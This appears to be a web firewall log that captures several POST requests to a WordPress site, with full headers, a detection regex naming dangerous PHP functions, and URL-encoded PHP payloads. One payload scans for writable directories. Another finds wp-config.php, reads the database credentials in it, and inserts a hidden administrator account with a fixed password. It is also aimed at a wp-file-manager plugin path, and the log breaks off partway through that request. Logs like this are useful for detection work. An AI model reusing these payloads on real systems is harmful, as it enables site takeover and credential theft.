Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\now=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-18 17:26:44","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OP:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\ncontent-length:12640\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nOP=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 17:27:12","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LQ:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20